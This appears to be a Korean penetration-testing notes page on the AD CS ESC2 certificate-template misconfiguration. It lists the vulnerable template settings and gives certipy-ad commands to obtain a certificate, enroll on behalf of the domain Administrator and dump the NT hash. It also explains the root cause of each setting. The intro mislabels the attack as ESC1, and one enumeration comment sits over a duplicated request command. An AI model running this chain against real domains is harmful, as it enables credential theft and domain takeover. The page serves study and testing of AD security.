ESC2
ESC1은 다음과 같은 속성들이 모두 만족할 때 가능한 ADCS 공격입니다.
속성
값
Authorized Signatures Required
0
Requires Manager Approval
False
Enrollment Rights
공격자가 컨트롤 가능한 객체 이하의 권한
Any Purpose / EKU
True / False
Include this information in alternate subject name
False
Abuse
# 취약한 템플릿 열거
certipy-ad req -u Mick3y -p 'Password123!' -dc-ip 192.168.1.11 -target AD01.CONTOSO.COM -ca CONTOSO-AD01-CA -template ESC2
# 템플릿을 통한 인증서 발급
certipy-ad req -u Mick3y -p 'Password123!' -dc-ip 192.168.1.11 -target AD01.CONTOSO.COM -ca CONTOSO-AD01-CA -template ESC2
# 발급한 인증서를 통해 Administrator의 인증서 발급
certipy-ad req -u Mick3y -p 'Password123!' -dc-ip 192.168.1.11 -target AD01.CONTOSO.COM -ca CONTOSO-AD01-CA -template User -pfx mick3y.pfx -on-behalf-of 'contoso\Administrator'
# 인증서로부터 nt해시 덤프
certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.1.11
Root Cause
Enrollment Rights
이 속성은 템플릿을 통해 인증서를 요청할 수 있는 권한이며 특정 유저(예 : 인증서 멤버)에게 국한하여 할당될 수 있습니다. 때문에 어떤 유저 계정을 탈취했냐에 따라 활용 가능한 ESC 취약점이 달라집니다.

Requires Manager Approval & Authorized Signatures Required

Requires Manager approval 속성이 체크되어 있을 땐, 클라이언트가 인증서 요청 시 관리자가 이를 허가해야만 발급되는 절차입니다. 속성에 입력된 값만큼 서명이 요구되며 기본값은 0입니다.
Any Purpose / EKU
템플릿의 발행 목적이 Any Purpose로 설정되거나 EKU(Extended Key Usage)에 명확한 값이 명시되어 있지 않을 경우, 공격자는 자신이 발행한 인증서를 통해 다른 사용자를 가장하여 인증할 수 있습니다.

Include this information in alternate subject name
기본적으로 사용자는 인증서 요청 시 E-mail과 UPN 필드를 명시해야 하지만, 해당 부분이 비활성화 되어있을 경우 이메일 정보 없이도 인증서 요청이 가능합니다.

References
Last updated
Was this helpful?